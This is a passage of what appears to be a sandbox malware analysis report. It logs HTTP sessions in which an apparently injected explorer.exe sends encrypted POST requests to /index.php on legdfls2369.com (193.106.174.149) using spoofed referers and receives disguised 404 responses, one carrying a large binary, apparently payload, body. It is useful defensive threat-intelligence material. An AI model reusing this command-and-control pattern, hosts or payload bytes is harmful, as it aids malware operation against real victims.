Dec 2, 2023 18:02:07.379690886 CET	653	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:02:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49723	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:16.279716969 CET	334	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xldxytcflas.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 129 Host: legdfls2369.com
Dec 2, 2023 18:02:16.279757023 CET	183	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d3 66 97 02 1f d3 27 f2 fe 75 a9 04 11 4a Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f'uJW`-x7tY"&LH-Je@TVgI
Dec 2, 2023 18:02:16.515722036 CET	1340	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:16 GMT Server: Apache/2.4.41 (Ubuntu) Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Data Raw: 32 37 34 66 65 0d 0a 2f 00 00 00 8f 3b 41 30 46 2c cf 62 b4 69 4c 7a ea be ee 06 5f 4c ee 8e a8 e1 af 06 13 a0 cc 71 e9 ea 11 2f 96 e3 88 cb 32 b7 9a 95 e1 3c f7 13 c7 f8 58 00 ca 74 02 00 1c ac 2b da 00 0b 07 00 09 00 34 00 00 01 54 b5 a6 04 fa 19 13 50 fe ad bf fe 50 01 0b 00 6b 6d 9b a1 be 47 6b 95 bb 2f 20 d4 c8 8f 3e f9 48 d9 5d 6d 65 6d 75 16 dc 93 04 9a 4e 3d 6e 00 a7 fb c4 e6 ba 10 81 4e de c9 81 63 bd 6b c1 21 12 08 03 82 92 b9 66 33 2c c4 d8 a4 26 81 d2 23 e6 f5 f0 39 01 b1 f6 c3 ff ed 03 02 bb a2 cb aa 25 f7 50 36 a5 43 cb 97 a8 89 2f 73 18 41 7c 38 c8 25 6c e3 2a 3c 5c 31 22 93 fa eb 08 47 0a cb 81 c7 f6 64 05 28 c2 6a 21 d2 ce 9f ad 76 7d 4a 1a d8 92 2f 8c 78 c6 24 f2 d6 cf 6b fb c5 e7 05 b0 1f 95 8d a2 26 fc ad 77 7d 1f 5b 65 2f 3f 20 47 56 ae f1 94 d8 e8 af 02 9c 35 87 be c3 a6 6b 91 75 5d 48 ac 3a 7e a2 d9 1c ad 62 4f e2 8d fa e3 a9 4d d6 02 65 2c a5 97 c6 61 03 59 fc 1d d4 88 16 72 64 45 ef 71 50 7d 98 6f 6e 3b 4c 4a 24 46 46 d2 e5 01 0f 29 c5 77 b5 91 d2 cf 70 47 4e 70 90 b9 1a e8 a3 c8 f4 35 b3 7d 94 47 eb 9e 1c 83 1b 9f 2b 04 01 20 1b 5d 82 c5 96 4e c0 54 3b 64 88 1b 82 ad a0 f7 12 e2 23 b3 67 bd 67 b8 6c d5 2e df 89 bb 99 b8 f8 a8 37 72 14 26 37 4c 36 33 93 ea 14 9f fc 79 88 6c 52 f9 4b a8 4b 79 72 fe 17 4a 97 56 fc 2c 49 19 fe ac 9b 63 57 59 57 b2 6d 42 86 48 71 26 85 c8 e9 46 b3 be 7d 6e 49 77 a0 bc d7 28 3b 4d 72 ba 0f 96 20 d8 e2 f0 06 2a 13 f4 31 f3 75 9d 49 ed a3 a9 16 2a be 8b 64 65 69 55 b5 88 be 3d 47 b3 fd d6 b1 69 98 52 de 77 cb ee 26 12 15 57 48 43 74 87 cc a7 87 b5 da 57 bd 62 db 5b 02 16 5b 43 da 83 e9 7d eb 69 ba cb 94 e0 d3 9c 36 d6 e8 5e 61 b8 d3 7c 0b 4f 5f d4 5f 20 84 6f 29 33 35 f8 06 1c 4b 74 4f 8b c3 37 09 e9 f0 3f 99 f4 29 aa d7 6c e4 9b 7d 8d 35 38 05 d8 ed 28 87 b4 7c 23 20 1a 4c 17 4f d3 f2 78 47 99 4d 46 4c ff 34 b5 cf ce 58 f4 58 6b ff 58 95 63 70 fe 45 7b 44 6a 9d 01 70 a4 96 d5 37 e9 53 35 1c ec 0d 77 3d 02 33 8a 5d 4f 02 f9 f2 29 23 5a ba c1 49 cd e4 b9 8f de 25 c8 51 82 ca ba 10 3a 0d e9 c9 3c 79 23 63 02 10 48 3f 91 d7 9d ee 95 29 de 70 a0 eb 9f 55 33 e8 17 3e 67 82 d3 5f 4a b1 d1 1c b2 35 6f e1 d4 36 68 1c b3 19 84 3c 49 ae 3a bf 98 c3 68 29 98 be f9 8d 66 0e 59 d3 88 1d a4 ea 06 bc 7f ab de 5a 8a 42 d8 ab 4a ed 7b 02 99 5f 31 df c6 ae 1b 3c a7 00 1c 42 02 01 1b 9b b8 5a 93 aa ba 49 d3 17 c5 0a f3 97 e0 63 f3 d1 e5 b9 41 bb 2a 06 24 ad af b9 25 17 3b f1 9b 84 1e ce 34 9c 3a 66 91 81 a2 ef 69 19 74 61 e8 33 37 39 af ed b1 65 c2 c3 f9 b0 fa f4 1c 64 c9 43 62 b0 fb e1 82 2e 1e ff a9 5b 8f 2c 06 1c 99 47 12 ba b9 cb de a6 fb 99 d6 48 4c ef 17 cd 38 c0 b1 f7 5c 4d 17 a5 55 86 f6 0f 6e 91 4f 16 df 22 08 2a 6e 37 d0 e4 00 c5 68 60 4a 30 1a 94 6b 3c 70 15 50 86 ac e2 b2 6c 59 c9 04 da 97 f7 61 7d 85 31 2d cb 9f 14 c0 72 fd 91 84 ff e6 9b 97 bb 1d 2c 7e fc 66 96 1e 85 41 67 5c 41 d7 d5 63 7c 55 a6 73 68 f1 7b 06 63 c1 43 53 6d 2b a9 b8 33 17 10 93 0d fe 52 14 cc f6 03 5c e0 17 a5 ac 37 e9 a8 44 fd 01 bc 68 42 c4 5e d8 07 96 b1 8d 7e c5 23 ef d2 c8 90 b5 3f 98 00 4e fc b3 2b e5 63 ae 4b 20 88 a4 58 65 ea ee a5 8e ae 58 00 2f a2 f5 7d a4 00 27 83 21 dd 64 5f c1 fd 28 0d e4 0a ba 64 a5 46 2b 8e 08 5d 0b c1 01 73 70 2a 14 62 03 02 76 c4 e9 ba 55 07 90 08 37 a5 ef 08 a8 1c 1e e3 16 8a de d8 01 1a 83 4a 26 dd 0d 32 28 90 ae 25 2c ee 52 ae 71 73 0d 95 e7 11 2d 4e a5 dd fd 5f b1 09 99 ed be 2a e9 0b 03 a0 cc 0c eb Data Ascii: 274fe/;A0F,biLz_Lq/2<Xt+4TPPkmGk/ >H]memuN=nNck!f3,&#9%P6C/sA\|8%l<\1"Gd(j!v}J/x$k&w}[e/? GV5ku]H:~bOMe,aYrdEqP}on;LJ$FF)wpGNp5}G+ ]NT;d#ggl.7r&7L63ylRKKyrJV,IcWYWmBHq&F}nIw(;Mr 1uIdeiU=GiRw&WHCtWb[[C}i6^a\|O__ o)35KtO7?)l}58(\|# LOxGMFL4XXkXcpE{Djp7S5w=3]O)#ZI%Q:<y#cH?)pU3>g_J5o6h<I:h)fYZBJ{_1<BZIcA$%;4:fita379edCb.[,GHL8\MUnO"n7h`J0k<pPlYa}1-r,~fAg\Ac\|Ush{cCSm+3R\7DhB^~#?N+cK XeX/}'!d_(dF+]spbvU7J&2(%,Rqs-N_*
Dec 2, 2023 18:02:16.515741110 CET	1340	IN	Data Raw: 1b d8 27 46 6b a5 cf d9 84 0f a2 38 07 df bf 95 9a 91 dd bf 7d 90 86 61 bb bb 44 4a ab 65 90 82 9f 02 6a 66 ed d5 48 0b 74 31 30 ce 07 c0 36 77 e4 24 d9 1a 4d 03 38 87 53 f5 76 84 36 3f a0 c8 9e 93 81 1a 8c d7 7d f2 39 74 03 73 09 8a e8 00 c4 6b Data Ascii: 'Fk8}aDJejfHt106w$M8Sv6?}9tsko?0:~<6SV)$)UL3u,e>K[L<NVqgV(DS:jV9JHUhEHsRRqqn^E7:{a`E2~'%AyV"0
Dec 2, 2023 18:02:16.515753031 CET	1340	IN	Data Raw: c0 f1 fd 09 4b 66 52 c6 42 54 db a7 2a 02 3f 74 6a 8c f7 82 b0 f3 33 43 24 c5 1e b8 f6 f9 8d fd db e6 aa 0d 5d d5 b6 b0 99 a4 2d 86 4d 3a c8 d7 80 ec b3 ef 43 68 d7 d6 2a e6 45 2b 8d 90 9d d9 51 95 31 ee 96 00 69 e9 40 a6 b9 99 1e c4 40 8e ae a0 Data Ascii: KfRBT?tj3C$]-M:ChE+Q1i@@RKQUN^n7IS,^gIB#RT+T-t{xd\|,(,HOYsXz[6&NtQX;QaA4%dV,vAMN:D$]'o
Dec 2, 2023 18:02:16.515767097 CET	1340	IN	Data Raw: 27 bb 5f d1 3d e9 86 c2 4f da 97 ac 2b 6d ff cb 1d 57 d1 2e 97 d4 6c a4 9f 78 ca 3a bb 08 23 66 9f a5 1c 73 9d df 48 56 03 82 4b 24 24 fc 9e de b7 c9 98 79 ee b2 65 a3 72 7d da ca e9 1c 7a f6 21 5d 01 ce 96 c1 89 51 66 fa 27 29 c0 1e 40 ce 58 da Data Ascii: '_=O+mW.lx:#fsHVK$$yer}z!]Qf')@XC!\&3P[YIf[_#HvpFG?[}zTu\|tty`jiM<T}Pmmc3+3]rnvSA>6Z?IY}q.
Dec 2, 2023 18:02:16.516261101 CET	1340	IN	Data Raw: d4 69 e3 d1 9f bb ee c9 c3 86 8e cc 10 cc 03 65 cf 30 af d3 12 04 80 d0 a8 1e 47 ba aa d8 67 30 a6 47 9f 1f 93 57 fc 57 6d e4 6b 80 53 d0 5e 4d a0 0c 0d 3c 8b 39 0b b4 13 82 ab 76 a9 f3 2d 94 12 42 b6 ac 9f 11 e9 4a 6d 24 f6 f6 3c e2 a9 9c 26 d7 Data Ascii: ie0Gg0GWWmkS^M<9v-BJm$<&oK1SkR8N!o4swoN:*A`!"0T$r\)&SvX2B Ge5\|NBG-@HP8Y 7bn]LH<xY.3l{{r6\n
Dec 2, 2023 18:02:16.516555071 CET	1340	IN	Data Raw: da 8b 1e f1 a5 27 e9 04 a1 cb f5 4c 83 e1 0b ea e6 d8 97 ef d3 cb e9 eb 7c 70 a9 c4 c2 ce 1a 7f d8 1a f9 e8 5a d5 18 bc d9 14 8d 33 2d 0b 7d cf 39 68 ad d3 06 3a ff fb 96 34 3b bf 53 cc be 43 49 76 c8 c7 76 c2 04 f8 7c 0c 86 24 3a 8b d0 0c c8 31 Data Ascii: 'L\|pZ3-}9h:4;SCIvv\|$:1["`ifwmBx%~&nWa=XU$OQ.IX9d$HOI_\wTvPx<Z7VD\|rT0Pk{C*ORtm}7&P
Dec 2, 2023 18:02:16.516570091 CET	1340	IN	Data Raw: 19 49 73 0a 22 e7 63 05 1e 44 86 2f fd be 71 46 22 f9 96 dd 06 da 78 61 a8 69 94 04 3d 9f fc fd 79 cc 71 57 79 77 10 6d 54 77 a5 a1 d6 73 f0 8d 4c 22 6c 4d 3a 53 14 69 e8 12 7f cc 43 8b cc a6 d9 87 98 5e 84 87 3f 78 b3 b5 17 5e 6c ca 6b bc d9 d3 Data Ascii: Is"cD/qF"xai=yqWywmTwsL"lM:SiC^?x^lk2ZLG6\'-s,5nW!kraTI`[-q+O3lxbUf+x`qq="a3dF:ieepCqYDD.&~6sUW`1mhW>L_C
Dec 2, 2023 18:02:16.516617060 CET	1340	IN	Data Raw: 98 3a 28 e8 c4 46 97 49 06 2b dc cf 9e 10 76 f7 44 0a 90 03 2d b8 c2 04 a9 4a 4f fc 7e 0b 67 19 8e de 91 db 72 4a 95 ad b7 8e 1d af 81 f6 8d 56 68 29 bc 1b 12 e5 42 52 a0 56 58 05 bb 13 f9 97 19 24 9d 5a c2 48 72 fd e3 a1 8f 73 8b 4e 01 87 ed b6 Data Ascii: :(FI+vD-JO~grJVh)BRVX$ZHrsNF;X/}iNQ.F`BI@_N{HOp;eoFs%WqWPJuDSjK^A9aiG@<dI(S]j5~FmS
Dec 2, 2023 18:02:16.516632080 CET	1340	IN	Data Raw: fb 57 63 0a 15 fc 0c e2 b8 d9 f1 2a 48 e6 9e 4e d7 88 7b 33 45 22 e7 86 3d a0 5b 9a 69 b3 e0 1f c1 93 5e 71 3e 16 f0 ec 39 32 32 46 6c 4b 52 48 32 0e 06 bc e6 dd b3 dc 7e a9 c3 21 24 11 9b b7 1c df a4 13 3e fc 47 9d 08 c1 d4 9d e6 5a dd 14 6c 55 Data Ascii: Wc*HN{3E"=[i^q>922FlKRH2~!$>GZlU}G'QO]#o~l{aq`w)e Mh#l\>lo)w>KyQpcE[hnZHj-M2}F!l0Zh.QcX}
Dec 2, 2023 18:02:16.516645908 CET	1340	IN	Data Raw: 48 cf d2 75 c7 0d c0 4e 6b 8a f9 5e b9 17 72 ec 9b 66 77 e7 70 b5 74 d5 41 66 b9 a3 9c 05 da 0d f2 a9 27 f9 c3 e1 16 27 c7 85 28 1b a3 a1 a8 eb ca 29 3b f3 5a d5 e1 58 1b 55 a4 bb 76 71 d6 3b eb 5b 47 3a 47 90 20 b0 28 2f 79 be c2 bb eb a6 ba ed Data Ascii: HuNk^rfwptAf''();ZXUvq;[G:G (/y'd3O)5%2(}c-XK]Y\dWt$V\EfLEa^xJvjQK'Qti!H`]xYE<(E4+?s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49724	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:17.471154928 CET	337	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hmkbsmybwuvanr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 233 Host: legdfls2369.com
Dec 2, 2023 18:02:17.471182108 CET	287	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 97 02 1f d3 26 f2 fe 75 c0 78 5c 27 Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&ux\'7#>vv;Nv%P<3)F1B/9G#SuJp8Vm'C1@:qmRej-;egL*rToWyX_\EW@)E>()6=jtnks_[ZooW
Dec 2, 2023 18:02:17.710486889 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49725	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:18.001884937 CET	335	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fdhocjhcvygs.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 349 Host: legdfls2369.com
Dec 2, 2023 18:02:18.001914978 CET	403	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 96 02 1f d3 26 f2 fe 75 ca 67 58 0a Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&ugXj~EWiCZpq@>-OV,bVQG\|WAR`F~fEO +8Lj8cX(LEqQaF?5YD_*#7($"^TChr)_<Hv[/~1}mv
Dec 2, 2023 18:02:18.232769966 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49726	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:18.490500927 CET	336	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hhxfagktsexmd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 167 Host: legdfls2369.com
Dec 2, 2023 18:02:18.490525961 CET	221	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 95 02 1f d3 26 f2 fe 75 cb 0f 1f 3e Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&u>hm$0Wp[_s*`Y.chX{nY@f+,.:B(/yT!K
Dec 2, 2023 18:02:18.730405092 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49727	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:19.044383049 CET	339	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tdwnvhtexgjcltnu.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 208 Host: legdfls2369.com
Dec 2, 2023 18:02:19.045099974 CET	262	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 94 02 1f d3 26 f2 fe 75 af 5c 3e 3b Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&u\>;!%V-HFO@wZ[i:/z@Q#f1nY<K`&N_6c1rIrEGxfx8NK*H(HU2[jn
Dec 2, 2023 18:02:19.276566029 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 